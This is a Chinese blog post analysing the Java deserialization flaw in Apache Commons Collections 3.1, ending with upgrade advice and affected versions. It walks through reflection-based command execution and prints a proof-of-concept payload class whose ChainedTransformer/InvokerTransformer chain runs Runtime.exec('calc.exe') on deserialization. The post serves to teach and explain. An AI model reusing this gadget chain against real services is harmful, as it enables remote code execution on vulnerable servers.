java反序列化漏洞之Apache CommonsCollect

2019-07-12  本文已影响0人  无远弗届_90

主要从Commons Collections 包来浅析java反序列化漏洞成因。

一、对象序列化

对象序列化是一个用于将对象状态转换为字节流的过程,可以将其保存到磁盘文件中或通过网络发送到任何其他程序。通过实现java.io.Serializable接口,可以在Java类中启用可序列化。

序列化简单实现例子如下:

public class Student implements Serializable {
    
    private String name;
    public Student(String name){
        this.name = name;
    }
    
    public String toSting(){
        return "my name is " + name;
    }

}

将其序列化到文件中,代码如下:

public static void main(String[] args) throws Exception{

        Student student = new Student("ramboo");
        File file = new File("E:"+ File.separator+"text.txt");
        ObjectOutputStream oos = null;
        OutputStream out = new FileOutputStream(file);
        oos = new ObjectOutputStream(out);
        oos.writeObject(student);
        oos.close();
        
    }

保存到文件中的内容如下:

¬í �sr �com.example.demo.StudentötB&�óOĹ� �L �namet �Ljava/lang/String;xpt �ramboo

以上保存的内容是二进制数据。保存的文件本身不可以直接修改,因为会破坏其保存的格式。

二、对象反序列化

使用对象输入流读入对象的过程称为反序列化。简单来说,就是从一组序列化后的二进制流重新构造成对象的过程。

与反序列化密切相关的就是对象输入流ObjectInputStream以及其方法readObject()

以下代码是通过ObjectInputStream读取从上述序列化到文件中的二进制流。

 public static void main(String[] args) throws Exception{
        File file = new File("E:"+ File.separator+"text.txt");
        ObjectInputStream ois = null;
        InputStream input = new FileInputStream(file);
        ois = new ObjectInputStream(input);
        Object object = ois.readObject();
        ois.close();
        System.out.println(object.toString());

    }

以上代码结果输出如下:

Student{name='ramboo'}

接下来再看,如果将反序列化的目标对象添加readObject方法,如下:

public class Student implements Serializable {

    private String name;
    public Student(String name){
        this.name = name;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream stream)
            throws IOException, ClassNotFoundException{
        System.out.println("this method is override,haha");
    }
}

则上述反序列化的代码将会输出如下结果:

this method is override,haha
Student{name='null'}

通过以上可知,在被反序列化的目标对象中重写readObject方法,则反序列化的结果是不再读取文件中的二进制流,而是直接执行了已经重写的readObject方法。而反序列化漏洞就是从这个地方而来。

如果目标对象的readObject进行了一些更复杂的操作的时候,那么极有可能给恶意代码提供可乘之机。例如在此方法中实现弹出计算器:

private void readObject(ObjectInputStream stream)
            throws Exception{
        Object runTime=Class.forName("java.lang.Runtime")
                .getMethod("getRuntime",new Class[]{})
                .invoke(null);
        Class.forName("java.lang.Runtime")
                .getMethod("exec", String.class)
                .invoke(runTime,"calc.exe");
    }

再执行上述main方法,则会弹出计算器,如下图所示:

1.png

三、反序列化漏洞

反序列化漏洞,就是程序传送了不安全的反序列化对象,并且程序没有对此不安全的对象做过滤及限制,导致执行了不安全的对系统造成破坏性的操作。

下面主要分析一下apache common collections包存在的反序列化漏洞

四、apache common collections反序列化漏洞

本例是使用具有漏洞的版本3.1进行说明。

4.1、定义

apache common collections到底有何妙用,能让WebLogic、WebSphere、JBoss、Jenkins、OpenNMS都纷纷青睐。引用某博客中的一段话加以说明:

此包中对Java中的集合类进行了一定的补充,定义了一些全新的集合,当然也是实现了Collection接口的,比如Bag,BidiMap。同时拥有新版本的原有集合,比如FastArrayList。最后,更为重要的是一系列utils类,提供了我们常用的集合操作,可以大大方便我们的日常编程。

对于具体有哪些用途,本人也没有具体深入研究。本篇主要聚焦此包中为何会存在反序列化漏洞。通过一系列调研,此包中存在反序列化漏洞是由于TransformedMapInvokerTransformer造成的。

4.2、浅析

TransformedMap这个类是用来对Map进行某些变换用的。当我们修改Map中的某个值,不管是key还是value,就会触发我们预先定义好的某些操作来对Map进行处理。实例化TransformedMap这个对象是通过其静态方法decorate得到的,如下:

Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

其中,map为普通的Map,keyTransformer和valueTransformer分别对应当key改变和value改变时需要做的操作,其类型实现了Transformer接口。该接口定义如下:

public interface Transformer {
    Object transform(Object var1);
}

其中只定义了一个transform方法。这个方法会在key或者value改变时触发调用。如果需要触发一系列操作,可定义ChainedTransformer来实现。具体操作如下:

首先定义一个Transformer数组:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(...),
    new InvokerTransformer(...),
        .....
};

其次实例化ChainedTransformer

Transformer chainedTransformer = new ChainedTransformer(transformers);

最后传入TransformedMap实例化参数中:

Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

此时,如果map中的value发生变化,会调用chainedTransformer中定义的transform方法:

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

从中可以看到,此类中的transform方法会将上一次变换的结果作为下一次变换的输入,直到所有的变换完成,并返回最终的object。

现在真正的主角出场,InvokerTransformer。如果在变换链中有InvokerTransformer,则也会调用transform方法,它对应方法实现如下:

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

从中可以看出,它是利用反射机制来调用对应的方法。如果input可控,输入一些非法的对象,则会带来安全风险。那么如何利用此漏洞呢?

4.3、利用

成功利用需满足的条件如下:

1、序列化对象具有不安全性

2、被反序列化对象已经重写了readObject方法

3、外部能够触发readObject方法

根据以上条件,简单利用此漏洞的序列化对象如下所示:

package com.example.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

/**
 * 反序列化payload
 *
 * @author:xing.hang
 * @created 2019-07-11 19:35
 */
public class SerializablePayload implements Serializable {

    private Map transformedMap  = null;

    public SerializablePayload(Map transformedMap){
        this.transformedMap = transformedMap;
    }

    private void readObject(ObjectInputStream stream)
            throws Exception{
        stream.defaultReadObject();
        Map.Entry entry = (Map.Entry) this.transformedMap.entrySet().iterator().next();
        entry.setValue("xing");

    }

    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{
                        String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{
                        Object.class,Object[].class},new Object[]{null,new Class[0]}),
                new InvokerTransformer("exec",new Class[]{
                        String.class},new Object[]{"calc.exe"})
        };
        Map map = new HashMap();
        map.put("name","ramboo");
        Transformer valueTransformer = new ChainedTransformer(transformers);
        Map transformedMap = TransformedMap.decorate(map,null,valueTransformer);
        SerializablePayload payload = new SerializablePayload(transformedMap);
        File file = new File("E:"+ File.separator+"text.txt");
        ObjectOutputStream oos = null;
        OutputStream out = new FileOutputStream(file);
        oos = new ObjectOutputStream(out);
        oos.writeObject(payload);
        oos.close();

    }

}

执行此段代码,会将对象序列化保存到文件中。其中

 Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{
                        String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{
                        Object.class,Object[].class},new Object[]{null,new Class[0]}),
                new InvokerTransformer("exec",new Class[]{
                        String.class},new Object[]{"calc.exe"})
        };

其功能是弹出计算器。如果直接利用java普通方法操作,则代码如下:

Runtime.getRuntime().exec("calc.exe");

由于InvokerTransformer类中的transform方法采用了反射机制执行相应操作,所以便有了上述的代码块。

一旦我们对保存过的二进制文件反序列化,则会调用readObject,在此方法中,修改了map的value值。map中的value发生变化,会依次执行transformers数组中的各个类的transform方法。继而弹出计算器,目标达成。

以上便是对apache common collections包反序列化漏洞的成因的简单分析。我们在开发过程中,如果使用此包,可更新为最新版本。目前最新版本是4.4,使用方法也有所不同,大家如有兴趣,可自行查看。相关依赖如下:

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.4</version>
</dependency>

受影响版本为:

Apache Commons Collections <= 3.2.1,<= 4.0.0

上一篇 下一篇

猜你喜欢

热点阅读